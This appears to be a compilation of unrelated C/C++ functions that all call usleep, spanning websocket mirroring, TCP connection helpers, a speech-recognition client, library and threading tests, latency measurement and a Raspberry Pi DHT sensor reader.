static int callback_lws_mirror(struct libwebsocket_context *context, struct libwebsocket *wsi, enum libwebsocket_callback_reasons reason, void *user, void *in, size_t len) { int n; struct per_session_data__lws_mirror *pss = (struct per_session_data__lws_mirror *)user; switch (reason) { case LWS_CALLBACK_ESTABLISHED: lwsl_info("callback_lws_mirror: LWS_CALLBACK_ESTABLISHED\n"); pss->ringbuffer_tail = ringbuffer_head; pss->wsi = wsi; break; case LWS_CALLBACK_PROTOCOL_DESTROY: lwsl_notice("mirror protocol cleaning up\n"); for (n = 0; n < sizeof ringbuffer / sizeof ringbuffer[0]; n++) if (ringbuffer[n].payload) free(ringbuffer[n].payload); break; case LWS_CALLBACK_SERVER_WRITEABLE: if (close_testing) break; while (pss->ringbuffer_tail != ringbuffer_head) { n = libwebsocket_write(wsi, (unsigned char *) ringbuffer[pss->ringbuffer_tail].payload + LWS_SEND_BUFFER_PRE_PADDING, ringbuffer[pss->ringbuffer_tail].len, LWS_WRITE_TEXT); if (n < 0) { lwsl_err("ERROR %d writing to mirror socket\n", n); return -1; } if (n < ringbuffer[pss->ringbuffer_tail].len) lwsl_err("mirror partial write %d vs %d\n", n, ringbuffer[pss->ringbuffer_tail].len); if (pss->ringbuffer_tail == (MAX_MESSAGE_QUEUE - 1)) pss->ringbuffer_tail = 0; else pss->ringbuffer_tail++; if (((ringbuffer_head - pss->ringbuffer_tail) & (MAX_MESSAGE_QUEUE - 1)) == (MAX_MESSAGE_QUEUE - 15)) libwebsocket_rx_flow_allow_all_protocol( libwebsockets_get_protocol(wsi)); // lwsl_debug("tx fifo %d\n", (ringbuffer_head - pss->ringbuffer_tail) & (MAX_MESSAGE_QUEUE - 1)); if (lws_partial_buffered(wsi) || lws_send_pipe_choked(wsi)) { libwebsocket_callback_on_writable(context, wsi); break; } /* * for tests with chrome on same machine as client and * server, this is needed to stop chrome choking */ #ifdef _WIN32 Sleep(1); #else usleep(1); #endif } break; case LWS_CALLBACK_RECEIVE: if (((ringbuffer_head - pss->ringbuffer_tail) & (MAX_MESSAGE_QUEUE - 1)) == (MAX_MESSAGE_QUEUE - 1)) { lwsl_err("dropping!\n"); goto choke; } if (ringbuffer[ringbuffer_head].payload) free(ringbuffer[ringbuffer_head].payload); ringbuffer[ringbuffer_head].payload = malloc(LWS_SEND_BUFFER_PRE_PADDING + len + LWS_SEND_BUFFER_POST_PADDING); ringbuffer[ringbuffer_head].len = len; memcpy((char *)ringbuffer[ringbuffer_head].payload + LWS_SEND_BUFFER_PRE_PADDING, in, len); if (ringbuffer_head == (MAX_MESSAGE_QUEUE - 1)) ringbuffer_head = 0; else ringbuffer_head++; if (((ringbuffer_head - pss->ringbuffer_tail) & (MAX_MESSAGE_QUEUE - 1)) != (MAX_MESSAGE_QUEUE - 2)) goto done; choke: lwsl_debug("LWS_CALLBACK_RECEIVE: throttling %p\n", wsi); libwebsocket_rx_flow_control(wsi, 0); // lwsl_debug("rx fifo %d\n", (ringbuffer_head - pss->ringbuffer_tail) & (MAX_MESSAGE_QUEUE - 1)); done: libwebsocket_callback_on_writable_all_protocol( libwebsockets_get_protocol(wsi)); break; /* * this just demonstrates how to use the protocol filter. If you won't * study and reject connections based on header content, you don't need * to handle this callback */ case LWS_CALLBACK_FILTER_PROTOCOL_CONNECTION: dump_handshake_info(wsi); /* you could return non-zero here and kill the connection */ break; default: break; } return 0; }
int TCP_Helper::client_open_endpoints(__u8* eps,__u8 num_eps,int timeout) { int i; struct pollfd* poll_connections=NULL; __u8* poll_idxs=NULL; int poll_count=0; int poll_idx=0; for (i=0;i<num_eps;i++) { int idx=(eps[i]&0x80)?(eps[i]&0xf)|0x10:eps[i]; if (!ep_connect[idx]) { if (!ep_socket[idx]) { fprintf(stderr,"Connecting EP%02x\n",eps[i]); client_connect(idx,0); } if (!ep_connect[idx]) poll_count++; } } if (!poll_count) return 0; poll_connections=(struct pollfd*)calloc(poll_count,sizeof(struct pollfd)); poll_idxs=(__u8*)calloc(poll_count,sizeof(__u8)); for (i=0;i<num_eps;i++) { int idx=(eps[i]&0x80)?(eps[i]&0xf)|0x10:eps[i]; if (!ep_connect[idx]) { poll_connections[poll_idx].fd=ep_socket[idx]; poll_connections[poll_idx].events=POLLOUT; poll_idxs[poll_idx]=idx; poll_idx++; } } int ep_count=poll_count; int rc=-1; struct timeval tvBegin,tvEnd; gettimeofday(&tvBegin,NULL); if (poll(poll_connections,poll_count,timeout)) { for (poll_idx=0;poll_idx<poll_count;poll_idx++) { if (poll_connections[poll_idx].revents&POLLHUP) { int idx=poll_idxs[poll_idx]; close(ep_socket[idx]); ep_socket[idx]=0; } if (poll_connections[poll_idx].revents==POLLOUT) { int idx=poll_idxs[poll_idx]; if (client_connect(idx,0)==0) { fprintf(stderr,"Connected EP%02x\n",(idx&0xf) | ((idx&0x10)<<3)); ep_buf[idx] = (__u8*)malloc(TCP_BUFFER_SIZE); ep_count--; } } } gettimeofday(&tvEnd,NULL); long int usecs=(tvEnd.tv_usec+tvEnd.tv_sec*1000000)-(tvBegin.tv_usec+tvBegin.tv_sec*1000000); long int utimeout=(long int)timeout*1000-usecs; if (utimeout>0) usleep(utimeout); rc=ep_count; } else { rc=ETIMEDOUT; } free(poll_connections); poll_connections=NULL; free(poll_idxs); poll_idxs=NULL; return rc; }
int main(int argc, char *argv[]) { Jsp::Socket sockAdinnet; Jsp::Socket sockModule; // ---------------------------------------- // default port no // ---------------------------------------- int module_portno = DEFAULT_MODULE_PORT; int adinnet_portno = DEFAULT_ADINNET_PORT; // ---------------------------------------- // help // ---------------------------------------- if ((argc == 2) && (strcmp(argv[1], "-h") == 0)) { fprintf(stderr, "usage: %s [-mp <portno>] [-ap <portno>]\n", argv[0]); return 0; } // ---------------------------------------- // check for port specification // ---------------------------------------- bool bModulePortSpecified = false; bool bAdinnetPortSpecified = false; for (int i=1; i<argc; i++) { if (strcmp(argv[i], "-mp") == 0) { bModulePortSpecified = true; } else if (strcmp(argv[i], "-ap") == 0) { bAdinnetPortSpecified = true; } else if (bModulePortSpecified) { module_portno = atoi(argv[i]); bModulePortSpecified = false; } else if (bAdinnetPortSpecified) { adinnet_portno = atoi(argv[i]); bAdinnetPortSpecified = false; } } int status; // ---------------------------------------- // connect to julius in module mode // ---------------------------------------- status = sockModule.connect("localhost", module_portno); if (status < 0) { printf("[ERROR] module port (%d) connect failed.\n", module_portno); return 1; } else { printf("module port (%d) connection established.\n", module_portno); } // ---------------------------------------- // wait some time // ---------------------------------------- usleep(500000); // microsecond // ---------------------------------------- // connect to julius adinnet port // ---------------------------------------- status = sockAdinnet.connect("localhost", adinnet_portno); if (status < 0) { printf("[ERROR] adinnet port (%d) connect failed.\n", adinnet_portno); return 1; } else { printf("adinnet port (%d) connection established.\n", adinnet_portno); } // ---------------------------------------- // setup recog object // ---------------------------------------- Jsp::Recog recog(&sockModule, &sockAdinnet); for (;;) { char waveFile[256]; printf("*** enter wav file name ***\n"); printf("> "); fgets(waveFile, sizeof(waveFile), stdin); if (strcmp(waveFile, "quit")==0) break; // strip off NL at the end of line waveFile[strlen(waveFile)-1]='\0'; // ---------------------------------------- // load wave file // ---------------------------------------- Jsp::Wave wave; if (!wave.loadFromFile(waveFile)) break; char *p = wave.getWaveDataPtr(); int len = wave.getWaveDataLen(); // ---------------------------------------- // recognize // ---------------------------------------- std::vector<std::string> outTexts; if (recog.recognize(p, len, outTexts)) { // ---------------------------------------- // output result // ---------------------------------------- printf("******** RECOGNIZE RESULT *********\n"); int n = outTexts.size(); for (int i=0; i<n; i++) { std::string outText = outTexts[i]; printf("[%d] (%s)\n", i, outText.c_str()); } } } printf("end\n"); // ---------------------------------------- // close connection to julius // ---------------------------------------- sockAdinnet.close(); sockModule.close(); return 0; }
int TCP_Helper::client_connect(int port,int timeout) { int sck; if (ep_connect[port] && ep_socket[port]) return 0; if (!ep_socket[port]) { //create socket struct sockaddr_in serv_addr; if((sck = socket(AF_INET, SOCK_STREAM|SOCK_NONBLOCK|SOCK_CLOEXEC, 0))< 0) { printf("\n Error : Could not create socket \n"); return -1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(BASE_PORT + port); serv_addr.sin_addr.s_addr = inet_addr(p_address); int rc=::connect(sck, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); fprintf(stderr,"Connect on port %d: %d\n",BASE_PORT + port,rc); if (rc==0) { //immediate connect ep_socket[port]=sck; ep_connect[port]=true; return 0; } if(rc<0 && errno==EINPROGRESS) { //async connect ep_socket[port]=sck; ep_connect[port]=false; } if (rc<0 && errno!=EINPROGRESS) { fprintf(stderr, "Error : Connect Failed \n"); return -1; } } if (ep_socket[port]) { //wait for an async connect to complete struct pollfd poll_connect; poll_connect.fd=ep_socket[port]; poll_connect.events=POLLOUT; struct timeval tvBegin,tvEnd; gettimeofday(&tvBegin,NULL); if (poll(&poll_connect,1,timeout)) { //sleep for the remaining portion of timeout when socket itself has timed out if (poll_connect.revents&POLLHUP) { close(ep_socket[port]); ep_socket[port]=0; gettimeofday(&tvEnd,NULL); long int usecs=(tvEnd.tv_usec+tvEnd.tv_sec*1000000)-(tvBegin.tv_usec+tvBegin.tv_sec*1000000); long int utimeout=(long int)timeout*1000-usecs; if (utimeout>0) usleep(utimeout); return ETIMEDOUT; } if (poll_connect.revents==POLLOUT) { ep_connect[port]=true; return 0; } fprintf(stderr,"Unexpected client connect poll results: %d\n",poll_connect.revents); } else { return ETIMEDOUT; } } return -1; //should never really be reached }
string checkFontsPrompt() { GuiWindow promptWindow(520,360); promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE); promptWindow.SetPosition(0, -10); GuiImageData dialogBox(Theme.dialog_background); GuiImage dialogBoxImg(&dialogBox); GuiImageData btnOutline(Theme.button_small); GuiImage btn1Img(&btnOutline); GuiImageData btnOutlineOver(Theme.button_small_focus); GuiImage btn1ImgOver(&btnOutlineOver); // ok button GuiText backTxt(tr("OK"), 22, (GXColor){Theme.button_small_text_1, Theme.button_small_text_2, Theme.button_small_text_3, 255}); GuiImage backImg(&btnOutline); GuiImage backImgOver(&btnOutlineOver); GuiButton back(btnOutline.GetWidth(), btnOutline.GetHeight()); GuiTrigger trigA; trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A); back.SetAlignment(ALIGN_CENTRE, ALIGN_BOTTOM); back.SetPosition(0, -25); back.SetLabel(&backTxt); back.SetImage(&backImg); back.SetImageOver(&backImgOver); back.SetTrigger(&trigA); back.SetState(STATE_SELECTED); GuiText titleTxt(tr("Download"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP); titleTxt.SetPosition(0, 40); GuiText msgTxt(tr("Initialise network..."), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); msgTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE); promptWindow.Append(&dialogBoxImg); promptWindow.Append(&titleTxt); promptWindow.Append(&msgTxt); HaltGui(); mainWindow->SetState(STATE_DISABLED); mainWindow->Append(&promptWindow); mainWindow->ChangeFocus(&promptWindow); ResumeGui(); string downloadfont = "NULL"; // überprüfen, ob netzwerk initialisiert wird Initialize_Network(); if(!IsNetworkInit()) { msgTxt.SetText(tr("No network connection")); bool stop = false; promptWindow.Append(&back); while(!stop) { usleep(100); if(back.GetState() == STATE_CLICKED) stop = true; } promptWindow.Remove(&back); } else { downloadfont = FontList(); if(downloadfont == "error") { downloadfont = "NULL"; msgTxt.SetText(tr("Error while reading file")); bool stop = false; promptWindow.Append(&back); while(!stop) { usleep(100); if(back.GetState() == STATE_CLICKED) stop = true; } promptWindow.Remove(&back); } } HaltGui(); mainWindow->Remove(&promptWindow); mainWindow->SetState(STATE_DEFAULT); ResumeGui(); return downloadfont; }
TEST_F(ProcTestor, ShareMem) { exit_cnt = 0; yf_set_sig_handler(SIGCHLD, on_child_process_exit, _log); yf_set_sig_handler(SIGIO, SIG_IGN, _log); signal_mask(); yf_shm_t shm; shm.size = 4096; yf_str_set(&shm.name, "test_shm"); shm.log = _log; yf_int_t ret = yf_shm_alloc(&shm); ASSERT_EQ(ret, YF_OK); int cnt[4] = { 6900000, 7500000, 6600000, 6215968 }; bool flag[4] = { true, true, false, false }; ShmSt *shm_st = (ShmSt *)shm.addr; shm_st->cnt = 0; yf_lock_init(&shm_st->lock); TestCtx test_ctx; test_ctx.test_ma = shm_st; yf_log_t *proc_log = yf_log_open(YF_LOG_DEBUG, 8192, (void*)"dir/proc.log"); yf_pid_t active_pid = yf_spawn_process(test_channel_func, NULL, "test_channel_func", YF_PROC_CHILD, on_child_exit_cb, proc_log); yf_pid_t pid = yf_spawn_process(test_channel_func, NULL, "test_channel_func", YF_PROC_CHILD, on_child_exit_cb, proc_log); yf_pid_t signal_pid = yf_spawn_process(empty_child_proc, NULL, "empty_child_proc", YF_PROC_CHILD, on_child_exit_cb, proc_log); ASSERT_TRUE(signal_pid != YF_INVALID_PID); for (size_t i = 0; i < YF_ARRAY_SIZE(cnt); ++i) { test_ctx.try_times = cnt[i]; test_ctx.is_add = flag[i]; pid = yf_spawn_process(child_process, &test_ctx, "child_process", YF_PROC_CHILD, on_child_exit_cb, proc_log); ASSERT_TRUE(pid != YF_INVALID_PID); } sigset_t set; sigemptyset(&set); while (exit_cnt < YF_ARRAY_SIZE(cnt)) { sigsuspend(&set); if (g_child_flag) { yf_process_get_status(_log); g_child_flag = 0; yf_log_debug1(YF_LOG_DEBUG, _log, 0, "exit child process = %d", exit_cnt); } } printf("last cnt=%d, pid=%d\n", shm_st->cnt, getpid()); ASSERT_EQ(shm_st->cnt, (cnt[0] + cnt[1] - cnt[2] - cnt[3])); //send signal to empty child proc yf_os_signal_process(child_signals, "reload", signal_pid, _log); yf_os_signal_process(child_signals, "stop_accept", signal_pid, _log); yf_sleep(1);//must yf_os_signal_process(child_signals, "quit", signal_pid, _log); //send cmd by channel to child proc, and old child -> new child yf_channel_t channel = {0}; channel.command = YF_CMD_DATA; sprintf(channel.data, "gfdgfds564fdaefafd"); ret = yf_write_channel(yf_processes[0].channel[0], &channel, _log); ASSERT_EQ(ret, YF_OK); //send file fd to child proc yf_memzero(&channel, sizeof(channel)); channel.command = YF_CMD_SEND_FD; yf_fd_t fd_send = yf_open_file("dir/test_fd_send", YF_FILE_APPEND, YF_FILE_CREATE_OR_OPEN, YF_FILE_DEFAULT_ACCESS); channel.fd = fd_send; assert(fd_send >= 0); ret = yf_write_channel(yf_processes[1].channel[0], &channel, _log); ASSERT_EQ(ret, YF_OK); //yf_close test 1's fds //yf_close(yf_processes[1].channel[0]); //yf_close(yf_processes[1].channel[1]); //channel 的特性,当把一对socket中一端发送给另外的proc后,就会形成,多个发送者和一个接受 //者的连接;只有当所有这些proc关闭这端后,另外那段接受者才能收到recv=0的标志(即连接断开) usleep(100000); yf_memzero(&channel, sizeof(channel)); channel.command = YF_CMD_QUIT; ret = yf_write_channel(yf_processes[0].channel[0], &channel, _log); ASSERT_EQ(ret, YF_OK); exit_cnt = 0; while (exit_cnt < 3) { sigsuspend(&set); if (g_child_flag) { yf_process_get_status(_log); g_child_flag = 0; yf_log_debug1(YF_LOG_DEBUG, _log, 0, "exit child process = %d", exit_cnt); } } yf_close_file(fd_send); yf_lock_destory(&shm_st->lock); yf_log_close(proc_log); yf_shm_free(&shm); }
static int do_test (void) { int result = 0; int piped[2]; /* Make a pipe that we will never write to, so we can block reading it. */ if (pipe (piped) < 0) { perror ("pipe"); return 1; } /* Test for aio_cancel() detecting invalid file descriptor. */ { struct aiocb cb; int fd = -1; cb.aio_fildes = fd; cb.aio_offset = 0; cb.aio_buf = NULL; cb.aio_nbytes = 0; cb.aio_reqprio = 0; cb.aio_sigevent.sigev_notify = SIGEV_NONE; errno = 0; /* Case one: invalid fds that match. */ if (aio_cancel (fd, &cb) != -1 || errno != EBADF) { if (errno == ENOSYS) { puts ("no aio support in this configuration"); return 0; } puts ("aio_cancel( -1, {-1..} ) did not return -1 or errno != EBADF"); ++result; } cb.aio_fildes = -2; errno = 0; /* Case two: invalid fds that do not match; just print warning. */ if (aio_cancel (fd, &cb) != -1 || errno != EBADF) puts ("aio_cancel( -1, {-2..} ) did not return -1 or errno != EBADF"); } /* Test for aio_fsync() detecting bad fd. */ { struct aiocb cb; int fd = -1; cb.aio_fildes = fd; cb.aio_offset = 0; cb.aio_buf = NULL; cb.aio_nbytes = 0; cb.aio_reqprio = 0; cb.aio_sigevent.sigev_notify = SIGEV_NONE; errno = 0; /* Case one: invalid fd. */ if (aio_fsync (O_SYNC, &cb) != -1 || errno != EBADF) { puts ("aio_fsync( op, {-1..} ) did not return -1 or errno != EBADF"); ++result; } } /* Test for aio_suspend() suspending even if completed elements in list. */ { #define BYTES 8 const int ELEMS = 2; int i, r, fd; static char buff[BYTES]; char name[] = "/tmp/aio7.XXXXXX"; struct timespec timeout; static struct aiocb cb0, cb1; struct aiocb *list[ELEMS]; fd = mkstemp (name); if (fd < 0) error (1, errno, "creating temp file"); if (unlink (name)) error (1, errno, "unlinking temp file"); if (write (fd, "01234567", BYTES) != BYTES) error (1, errno, "writing to temp file"); cb0.aio_fildes = fd; cb0.aio_offset = 0; cb0.aio_buf = buff; cb0.aio_nbytes = BYTES; cb0.aio_reqprio = 0; cb0.aio_sigevent.sigev_notify = SIGEV_NONE; r = aio_read (&cb0); if (r != 0) error (1, errno, "reading from file"); while (aio_error (&(cb0)) == EINPROGRESS) usleep (10); for (i = 0; i < BYTES; i++) printf ("%c ", buff[i]); printf ("\n"); /* At this point, the first read is completed, so start another one on the read half of a pipe on which nothing will be written. */ cb1.aio_fildes = piped[0]; cb1.aio_offset = 0; cb1.aio_buf = buff; cb1.aio_nbytes = BYTES; cb1.aio_reqprio = 0; cb1.aio_sigevent.sigev_notify = SIGEV_NONE; r = aio_read (&cb1); if (r != 0) error (1, errno, "reading from file"); /* Now call aio_suspend() with the two reads. It should return * immediately according to the POSIX spec. */ list[0] = &cb0; list[1] = &cb1; timeout.tv_sec = 3; timeout.tv_nsec = 0; r = aio_suspend ((const struct aiocb * const *) list, ELEMS, &timeout); if (r == -1 && errno == EAGAIN) { puts ("aio_suspend([done,blocked],2,3) suspended thread"); ++result; } /* Note that CB1 is still pending, and so cannot be an auto variable. Thus we also test that exiting with an outstanding request works. */ } return result; }
int main(int argc, char **argv) { sigset_t sigset; int signum = SIGALRM; int mode; struct thread_param *par; struct thread_stat *stat; pthread_attr_t thattr; int i, ret = -1; #ifndef __XENO__ if (geteuid()) { printf("need to run as root!\n"); exit(-1); } #endif mlockall(MCL_CURRENT | MCL_FUTURE); if (CONFIG_XENO_DEFAULT_PERIOD > 1000000) interval = CONFIG_XENO_DEFAULT_PERIOD; else interval = 1000000; distance = interval / 2; process_options(argc, argv); mode = use_nanosleep + use_system; sigemptyset(&sigset); sigaddset(&sigset, signum); sigprocmask (SIG_BLOCK, &sigset, NULL); signal(SIGINT, sighand); signal(SIGTERM, sighand); par = calloc(num_threads, sizeof(struct thread_param)); if (!par) goto out; stat = calloc(num_threads, sizeof(struct thread_stat)); if (!stat) goto outpar; clock_gettime(clocksources[clocksel], &start); for (i = 0; i < num_threads; i++) { if (verbose) { stat[i].values = calloc(VALBUF_SIZE, sizeof(long)); if (!stat[i].values) goto outall; par[i].bufmsk = VALBUF_SIZE - 1; } par[i].prio = priority; if (priority) priority--; par[i].clock = clocksources[clocksel]; par[i].mode = mode; par[i].timermode = timermode; par[i].signal = signum; par[i].interval = interval; interval += distance; par[i].max_cycles = max_cycles; par[i].stats = &stat[i]; stat[i].min = 1000000; stat[i].max = -1000000; stat[i].avg = 0.0; pthread_attr_init(&thattr); pthread_attr_setstacksize(&thattr, 131072); pthread_create(&stat[i].thread, &thattr, timerthread, &par[i]); stat[i].threadstarted = 1; stat[i].traced = (i == 0 && IPIPE_TRACE > 0); } while (!test_shutdown) { char lavg[256]; int fd, len, allstopped; if (!verbose && !quiet) { fd = open("/proc/loadavg", O_RDONLY, 0666); len = read(fd, &lavg, 255); close(fd); lavg[len-1] = 0x0; printf("%s \n\n", lavg); } allstopped = max_cycles ? 1 : 0; for (i = 0; i < num_threads; i++) { print_stat(&par[i], i, verbose); if (stat[i].cycles < max_cycles) allstopped = 0; } usleep(10000); if (test_shutdown || allstopped == num_threads) break; if (!verbose && !quiet) printf("\033[%dA", num_threads + 2); } if (quiet) { quiet = 0; /* Now we want to output the statistics */ for (i = 0; i < num_threads; i++) { print_stat(&par[i], i, verbose); } } ret = 0; outall: test_shutdown = 1; for (i = 0; i < num_threads; i++) { if (stat[i].threadstarted > 0) pthread_kill(stat[i].thread, SIGTERM); if (stat[i].threadstarted) pthread_join(stat[i].thread, NULL); if (stat[i].values) free(stat[i].values); } free(stat); outpar: free(par); out: exit(ret); }
int main() { e globals[] = {&&sleep_ms, &&pr_stacks, &&pr_float, &&pr_int, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &&write_c}; e* gs = globals + 104; int i = 0; e *j = 0; *--c = &&exit; goto main; exit: return *d; pr_int: printf("%d\n", *d++); goto **c++; pr_float: printf("%f\n", *d++); goto **c++; pr_stacks: fprintf(stderr, "\n[data]\n"); for(j = d; j < data + DATA_S; ++j) fprintf(stderr, "%4d|i%20lld|v%20lld|dv%20lf|V\n", j - d, *j, *j - (e)(&main), *j); fprintf(stderr, "[daux]\n"); for(j = dtmp; j < D; ++j) fprintf(stderr, "%4d|i%20lld|v%20lld|dv%20lf|V\n", j - dtmp, *j, *j - (e)(&main), *j); fprintf(stderr, "[code]\n"); for(j = c; j < code + CODE_S; ++j) fprintf(stderr, "%4d|i%20lld|dv\n", j - c, *j - (e)(&main)); goto **c++; sleep_ms: usleep(*d++ * 1000); goto **c++; std_call: (*(void(*)())d++)(); goto **c++; write_c: putc((char) *d++, stdout); goto **c++; // Begin g1: [[. [.[a]z E tsI] [,w,] /]] g1: /* [ */ *--d = &&g2; /* ] */ goto **c++; // End g1 // Begin g2: [. [.[a]z E tsI] [,w,] /] g2: /* . */ --d; *d = d[1]; /* */ ; /* [ */ *--d = &&g3; /* */ ; /* [ */ *--d = &&g6; /* */ ; /* / */ goto **((d += 3) - 2 - !d[-1]); /* ] */ goto **c++; // End g2 // Begin g3: [.[a]z E tsI] g3: /* . */ --d; *d = d[1]; /* [ */ *--d = &&g4; /* z */ tmp = *d++; *D++=*d++; *--c = &&g5; goto *tmp; g5: *--d = *--D; /* */ ; /* E */ --*d; /* */ ; /* t */ *--d = 2; /* s */ *d = d[*d + 1]; /* I */ goto **d++; /* ] */ goto **c++; // End g3 // Begin g4: [a] g4: /* a */ d[1] += *d; d++; /* ] */ goto **c++; // End g4 // Begin g6: [,w,] g6: /* , */ ++d; /* w */ tmp = *d; *d = d[1]; d[1] = tmp; /* , */ ++d; /* ] */ goto **c++; // End g6 // Begin main: k10 kw [[. [.[a]z E tsI] [,w,] /]]tZ tsI main: /* k */ *--d = 0; /* 1 */ *d *= 10; *d += 1; /* 0 */ *d *= 10; *d += 0; /* */ ; /* k */ *--d = 0; /* w */ tmp = *d; *d = d[1]; d[1] = tmp; /* */ ; /* [ */ *--d = &&g1; /* t */ *--d = 2; /* Z */ d += 2; for (i = 0; i < d[-2]; ++i) *D++=d[i]; tmp=d[-1]; d += *D++=i; *--c = &&g7; goto *tmp; g7: for (i = *--D; i > 0; --i) *--d = *--D; /* */ ; /* t */ *--d = 2; /* s */ *d = d[*d + 1]; /* I */ goto **d++; /* ] */ goto **c++; // End main }
int readDHT(int type, int pin) { int counter = 0; int laststate = HIGH; int j=0; // Set GPIO pin to output bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP); bcm2835_gpio_write(pin, HIGH); usleep(500000); // 500 ms bcm2835_gpio_write(pin, LOW); usleep(20000); bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT); data[0] = data[1] = data[2] = data[3] = data[4] = 0; // wait for pin to drop? while (bcm2835_gpio_lev(pin) == 1) { usleep(1); } // read data! for (int i=0; i< MAXTIMINGS; i++) { counter = 0; while ( bcm2835_gpio_lev(pin) == laststate) { counter++; //nanosleep(1); // overclocking might change this? if (counter == 1000) break; } laststate = bcm2835_gpio_lev(pin); if (counter == 1000) break; bits[bitidx++] = counter; if ((i>3) && (i%2 == 0)) { // shove each bit into the storage bytes data[j/8] <<= 1; if (counter > 200) data[j/8] |= 1; j++; } } #ifdef DEBUG for (int i=3; i<bitidx; i+=2) { printf("bit %d: %d\n", i-3, bits[i]); printf("bit %d: %d (%d)\n", i-2, bits[i+1], bits[i+1] > 200); } #endif // printf("Data (%d): 0x%x 0x%x 0x%x 0x%x 0x%x\n", j, data[0], data[1], data[2], data[3], data[4]); if ((j >= 39) && (data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) { // printf("Temp = %d *C, Hum = %d \%\n", data[2], data[0]); // Yay. Let's return JSON printf("{\"temp\": %d, \"hum\": %d}\n", data[2], data[0]); return 1; } else{ printf("{\"error\": \"invalid checksum\"}\n"); } return 0; }
void main(int argc, char *argv[]) { mt_tid tid; mt_waitentry we[TEST_THREADS+1]; u32t ii, sig; clock_t stm; qserr res; qshandle que; mt_ctdata tsd; char *cp; if (!mt_active()) { res = mt_initialize(); if (res) { cmd_shellerr(EMSG_QS, res, "MTLIB initialization error: "); return; } } tlsvar = mt_tlsalloc(); cp = argv[1] ? strdup(argv[1]) : 0; memset(&tsd, 0, sizeof(tsd)); tsd.size = sizeof(tsd); tsd.stacksize = 8192; tsd.onenter = start_hook; tid = mt_createthread(threadfunc1, 0, &tsd, cp); log_printf("mt_createthread() = %X\n", tid); mt_waitthread(tid); res = mt_muxcreate(0, "test mutex", &mutex); if (res) { cmd_shellerr(EMSG_QS, res, "Mutex creation error: "); return; } for (ii=0; ii<TEST_THREADS; ii++) { ta[ii] = mt_createthread(threadfunc2, MTCT_SUSPENDED, 0, 0); we[ii].htype = QWHT_TID; we[ii].tid = ta[ii]; we[ii].group = ii&1 ? 2 : 1; we[ii].resaddr = 0; } we[TEST_THREADS].htype = QWHT_CLOCK; we[TEST_THREADS].group = 0; we[TEST_THREADS].tme = (stm = sys_clock()) + CLOCKS_PER_SEC; /* launch a thread to resume all 20, else some of them can exit before we enter mt_waitobject() */ mt_createthread(threadfunc3, 0, 0, cp); /* AND logic for both groups - i.e. all odd or all even finished threads will signal here (or 1 sec timeout). */ res = mt_waitobject(we, TEST_THREADS+1, 3, &sig); stm = sys_clock() - stm; if (res) { cmd_shellerr(EMSG_QS, res, "mt_waitobject() error: "); } else { printf("Time spent: %Lu mks, ", stm); switch (sig) { case 0: printf("timer win!\n"); break; case 1: printf("group 1 win!\n"); break; case 2: printf("group 2 win!\n"); break; default: printf("???\n"); } } // wait for remaining threads for (sig=0;!sig;) { mt_muxcapture(mutex); if (threads==TEST_THREADS) sig = 1; mt_muxrelease(mutex); } res = mt_closehandle(mutex); if (res) { cmd_shellerr(EMSG_QS, res, "Mutex free error: "); return; } res = mt_eventcreate(0, "test_event", &event); if (res) { cmd_shellerr(EMSG_QS, res, "Event creation error: "); return; } /* just a test of QEVA_PULSEONE event handling: create 20 threads and wait for an event in all of them. Then, in loop - call pulse one and wait for any thread 20 times */ for (ii=1; ii<=TEST_THREADS; ii++) mt_createthread(threadfunc5, 0, 0, (void*)ii); /* let threads above to reach mt_waithandle() string - else first pulse will be lost and code stopped on mt_waitthread() forever */ usleep(32000); for (ii=0; ii<TEST_THREADS; ii++) { mt_eventact(event, QEVA_PULSEONE); mt_waitthread(0); } // this test will fail on PXE (no hlp_fopen()) log_printf("boot file i/o sync test\n", tid); mt_createthread(threadfunc4, 0, 0, 0); mt_createthread(threadfunc4, 0, 0, 0); /* event scheduling test. Post 4 events to the future and then check delivery time */ res = qe_create(0, &que); if (res) { cmd_shellerr(EMSG_QS, res, "Queue creation error: "); return; } else { static u32t timediff[TEST_SCHEDULES] = { 32, 38, 64, 126 }; qe_eid eids[TEST_SCHEDULES]; stm = sys_clock(); for (ii=0; ii<TEST_SCHEDULES; ii++) { eids[ii] = qe_schedule(que, stm+timediff[ii]*1000, ii+1, 0, 0, 0); if (!eids[ii]) printf("Schedule # %u error!\n", ii+1); else if (eids[ii]==QEID_POSTED) printf("Schedule # %u is too late!\n", ii+1); } for (ii=0; ii<TEST_SCHEDULES; ii++) { qe_event *ev = qe_waitevent(que, 5000); if (!ev) { printf("Event is lost? (%Lu)\n", sys_clock() - stm); break; } else { clock_t now = sys_clock(), wanted = stm+timediff[ev->code-1]*1000; printf("Event %u, time now %LX, should be %LX, diff = %Li mks\n", ev->code, now, wanted, now-wanted); free(ev); } } } }
